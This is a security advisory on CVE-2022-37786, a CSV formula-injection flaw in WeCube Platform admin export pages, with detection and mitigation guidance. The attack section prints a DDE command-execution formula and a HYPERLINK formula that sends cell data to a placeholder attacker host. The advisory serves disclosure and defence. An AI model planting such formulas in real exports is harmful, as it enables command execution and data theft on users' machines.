CVE-2022-37786: WeCube Platform CSV Injection Vulnerability

CVE-2022-37786 Overview

CVE-2022-37786 is a CSV Injection vulnerability affecting WeCube Platform version 3.2.2. The vulnerability exists in multiple administrative pages that improperly handle user-supplied input when exporting data to CSV format. An attacker can inject malicious formulas into data fields that, when exported and opened in spreadsheet applications like Microsoft Excel or LibreOffice Calc, will execute arbitrary commands on the victim's system.

CSV Injection (also known as Formula Injection) occurs when applications embed user-controllable data into CSV outputs without proper sanitization. Spreadsheet applications interpret certain characters (such as =, +, -, @) as formula indicators, allowing attackers to craft payloads that execute DDE (Dynamic Data Exchange) commands or other malicious operations when the exported file is opened.

Critical Impact

Attackers can achieve code execution on end-user systems when administrators export CSV data from vulnerable WeCube Platform administrative pages and open the resulting files in spreadsheet applications.

Affected Products

• WeCube Platform 3.2.2
• Home / Admin / Resources page
• Home / Admin / System Params page
• Home / Design / Basekey Configuration page

Discovery Timeline

• 2023-01-01 - CVE-2022-37786 published to NVD
• 2025-04-11 - Last updated in NVD database

Technical Details for CVE-2022-37786

Vulnerability Analysis

This vulnerability falls under CWE-1236 (Improper Neutralization of Formula Elements in a CSV File). The WeCube Platform fails to sanitize user-controlled input before including it in CSV exports across multiple administrative interfaces. When an attacker injects formula payloads into fields that are later exported to CSV format, the malicious content remains intact in the exported file.

The affected pages include the Resources management page, System Params configuration page, and Basekey Configuration page within the Design section. Each of these administrative interfaces allows data entry that is subsequently exportable to CSV format, creating multiple attack surfaces for formula injection.

When a user opens the exported CSV file in a spreadsheet application, the injected formula is automatically evaluated. This can lead to arbitrary command execution through DDE exploitation, information disclosure through external data requests, or other malicious actions depending on the spreadsheet application's security configuration.

Root Cause

The root cause is insufficient input validation and output encoding in the WeCube Platform's CSV export functionality. The application does not neutralize formula-triggering characters (=, +, -, @, tab, carriage return) at the beginning of cell values before writing them to CSV files. This allows attackers to inject spreadsheet formulas that execute when the exported data is opened in compatible applications.

Attack Vector

The attack is network-based and requires user interaction to complete the exploitation chain. An attacker must first inject a malicious payload into one of the affected administrative pages. This could be accomplished by a lower-privileged user who has access to create or modify records in the vulnerable pages.

The attack scenario proceeds as follows: The attacker submits data containing a formula payload such as =cmd|'/C calc'!A0 or =HYPERLINK("http://attacker.com/steal?data="&A1,"Click") into a text field on one of the vulnerable pages. When an administrator exports this data to CSV format and opens the resulting file in a spreadsheet application, the formula executes.

For detailed technical information about this vulnerability and the specific injection points, refer to the GitHub Issue #2327 in the WeCube Platform repository.

Detection Methods for CVE-2022-37786

Indicators of Compromise

• Presence of formula-triggering characters (=, +, -, @) at the beginning of data values in administrative database tables
• Unusual DDE protocol activity originating from spreadsheet applications after opening exported CSV files
• Network connections to unexpected external hosts triggered by spreadsheet applications
• Suspicious entries in system logs showing command execution spawned from Excel or similar applications

Detection Strategies

• Monitor database entries in WeCube Platform for values beginning with formula-triggering characters (=, +, -, @)
• Implement application-level logging to track all CSV export operations from administrative pages
• Deploy endpoint detection to identify unusual child processes spawned by spreadsheet applications
• Utilize network monitoring to detect DDE-related traffic patterns associated with formula injection exploitation

Monitoring Recommendations

• Enable verbose logging on the WeCube Platform to capture all data modifications in the affected administrative pages
• Configure SIEM rules to alert on patterns consistent with CSV injection payloads in application logs
• Monitor endpoint behavior for spreadsheet applications executing unexpected commands or making unusual network connections
• Review exported CSV files periodically for suspicious content patterns before opening

How to Mitigate CVE-2022-37786

Immediate Actions Required

• Upgrade WeCube Platform to a patched version if available
• Review the WeCube Platform repository for security updates and patches
• Implement input validation to sanitize formula-triggering characters in all user-controllable fields
• Configure spreadsheet applications to disable automatic formula execution and DDE by default
• Train administrative users to open CSV exports in text editors first to inspect for malicious content

Patch Information

Refer to the GitHub Issue #2327 for the latest information on patches and remediation guidance from the WeCube Platform maintainers. Check the WeCube Platform GitHub repository for updated releases that address this vulnerability.

Workarounds

• Prepend all cell values in CSV exports with a single quote (') to prevent formula interpretation
• Implement server-side sanitization to escape or remove formula-triggering characters from exported data
• Configure Microsoft Excel to disable DDE through Group Policy or registry settings
• Use CSV viewers or text editors instead of spreadsheet applications to review exported data
• Restrict access to administrative pages that handle CSV exports to trusted personnel only

# Microsoft Excel DDE Mitigation - Windows Registry Configuration
# Disable DDE in Excel to prevent formula injection exploitation
reg add "HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Excel\Security" /v WorkbookLinkWarnings /t REG_DWORD /d 2 /f